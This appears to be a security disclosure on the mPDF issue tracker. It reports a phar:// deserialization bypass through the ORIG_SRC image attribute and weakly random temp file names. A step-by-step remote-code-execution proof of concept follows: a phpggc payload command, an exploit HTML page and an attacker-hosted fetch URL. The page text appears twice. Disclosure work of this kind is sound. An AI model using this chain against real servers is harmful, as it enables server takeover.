Hello,
I found these issues on a real world service which uses mPDF with version that already fixed issue #949.
Issue 1: phar:// deserialization through <img ORIG_SRC="">
In getImage function, the $file variable come from src attribute of img tag is blocked if its value starts with phar://.
And it only checks the $file variable, but misses $orig_srcpath which also could be come from img tag.
|
public function getImage(&$file, $firsttime = true, $allowvector = true, $orig_srcpath = false, $interpolation = false) |
|
{ |
|
/** |
|
* Prevents insecure PHP object injection through phar:// wrapper |
|
* @see https://github.com/mpdf/mpdf/issues/949 |
|
*/ |
|
$wrapperChecker = new StreamWrapperChecker($this->mpdf); |
|
if ($wrapperChecker->hasBlacklistedStreamWrapper($file)) { |
|
return $this->imageError($file, $firsttime, 'File contains an invalid stream. Only ' . implode(', ', $wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.'); |
|
} |
The $orig_srcpath is directly used in fopen function, this causes insecure deserialization through phar:// wrapper again.
|
if (empty($data)) { |
|
|
|
$data = ''; |
|
|
|
if ($orig_srcpath && $this->mpdf->basepathIsLocal && $check = @fopen($orig_srcpath, 'rb')) { |
|
fclose($check); |
|
$file = $orig_srcpath; |
|
$this->logger->debug(sprintf('Fetching (file_get_contents) content of file "%s" with local basepath', $file), ['context' => LogContext::REMOTE_CONTENT]); |
|
$data = file_get_contents($file); |
|
$type = $this->guesser->guess($data); |
|
} |
This can be verified with the 3 lines code.
If you receives a connection on port 8080, that means the ORIG_SRC attribute works and is not limited by StreamWrapperChecker.
<?php
require_once __DIR__ . '/vendor/autoload.php';
$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="any" ORIG_SRC="php://filter/resource=http://localhost:8080">');
Issue 2: weak randomness of temporary file name
The CssManager finds all data URI with base64 encoding in CSS, and cached the decoded content with temporary file.
But the name of temporary file is not random enough, the filename would be like _tempCSSidataX_0.jpeg where 1 <= X <= 10000.
|
// Replace any background: url(data:image... with temporary image file reference |
|
preg_match_all("/(url\(data:image\/(jpeg|gif|png);base64,(.*?)\))/si", $CSSstr, $idata); // mPDF 5.7.2 |
|
$count_idata = count($idata[0]); |
|
if ($count_idata) { |
|
for ($i = 0; $i < $count_idata; $i++) { |
|
$file = $this->cache->write('_tempCSSidata' . random_int(1, 10000) . '_' . $i . '.' . $idata[2][$i], base64_decode($idata[3][$i])); |
|
$CSSstr = str_replace($idata[0][$i], 'url("' . $file . '")', $CSSstr); // mPDF 5.5.17 |
|
} |
|
} |
If target doesn't configure tempDir, the default tempDir is vendor/mpdf/mpdf/tmp/mpdf/.
This makes the attacker can create a lots of files with controllable content in known locations, and achieve Remote Code Execution by combining with phar:// deserialization.
Proof of concept
In my scenario, the target is a laravel v7.30.4 application on PHP 7 with carlos-meneses/laravel-mpdf 2.1.4 package.
And dependency is mPDF v8.0.10.
Ref: carlos-meneses/laravel-mpdf
Step 1
I wrote a controller to simulate the original scenario.
app/Http/Controllers/MyController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use PDF;
class MyController extends Controller
{
public function generate(Request $request)
{
$url = $request->input('url');
if ($this->isHttpURL($url)) {
$html = file_get_contents($url);
$pdf = PDF::loadHTML($html);
$pdf->download('document.pdf');
} else {
return "Please provide a valid URL.";
}
}
private function isHttpURL($url)
{
return $this->strStartsWith($url, 'http://')
|| $this->strStartsWith($url, 'https://');
}
private function strStartsWith($string, $startString)
{
$len = strlen($startString);
return (substr($string, 0, $len) === $startString);
}
}
routes/web.php
Route::get('/generate', 'MyController@generate');
Step 2
I uses tool phpggc to create phar payload in base64 encoding.
$ ./phpggc Laravel/RCE6 'die(`id > /tmp/pwn`);' -p phar -b -pf a.jpg
Step 3
And create a web page containing content like:
exploit.html
<style>
background: url(data:image/jpeg;base64,here_is_the_phar_payload_in_base64_encoding);
</style>
<img src="#1.jpeg" ORIG_SRC="phar://../vendor/mpdf/mpdf/tmp/mpdf/_tempCSSidata1_0.jpeg/a.jpg"></img>
Of course, we can put more img tags in the html to increase the probability of opening phar file.
Step 4
Finally, we can open the url http://localhost/generate?url=http://server_hosting_page_from_step3/exploit.html multiple times until the payload is executed.
Hello,
I found these issues on a real world service which uses mPDF with version that already fixed issue #949.
Issue 1: phar:// deserialization through
<img ORIG_SRC="">In getImage function, the
$filevariable come fromsrcattribute ofimgtag is blocked if its value starts withphar://.And it only checks the
$filevariable, but misses$orig_srcpathwhich also could be come fromimgtag.mpdf/src/Image/ImageProcessor.php
Lines 142 to 151 in 3d17bc9
The
$orig_srcpathis directly used in fopen function, this causes insecure deserialization throughphar://wrapper again.mpdf/src/Image/ImageProcessor.php
Lines 211 to 221 in 3d17bc9
This can be verified with the 3 lines code.
If you receives a connection on port 8080, that means the ORIG_SRC attribute works and is not limited by
StreamWrapperChecker.Issue 2: weak randomness of temporary file name
The CssManager finds all data URI with base64 encoding in CSS, and cached the decoded content with temporary file.
But the name of temporary file is not random enough, the filename would be like
_tempCSSidataX_0.jpegwhere1 <= X <= 10000.mpdf/src/CssManager.php
Lines 224 to 232 in 3d17bc9
If target doesn't configure tempDir, the default tempDir is
vendor/mpdf/mpdf/tmp/mpdf/.This makes the attacker can create a lots of files with controllable content in known locations, and achieve Remote Code Execution by combining with phar:// deserialization.
Proof of concept
In my scenario, the target is a
laravel v7.30.4application onPHP 7withcarlos-meneses/laravel-mpdf 2.1.4package.And dependency is
mPDF v8.0.10.Ref: carlos-meneses/laravel-mpdf
Step 1
I wrote a controller to simulate the original scenario.
app/Http/Controllers/MyController.php
routes/web.php
Step 2
I uses tool phpggc to create phar payload in base64 encoding.
Step 3
And create a web page containing content like:
exploit.html
Of course, we can put more img tags in the html to increase the probability of opening phar file.
Step 4
Finally, we can open the url
http://localhost/generate?url=http://server_hosting_page_from_step3/exploit.htmlmultiple times until the payload is executed.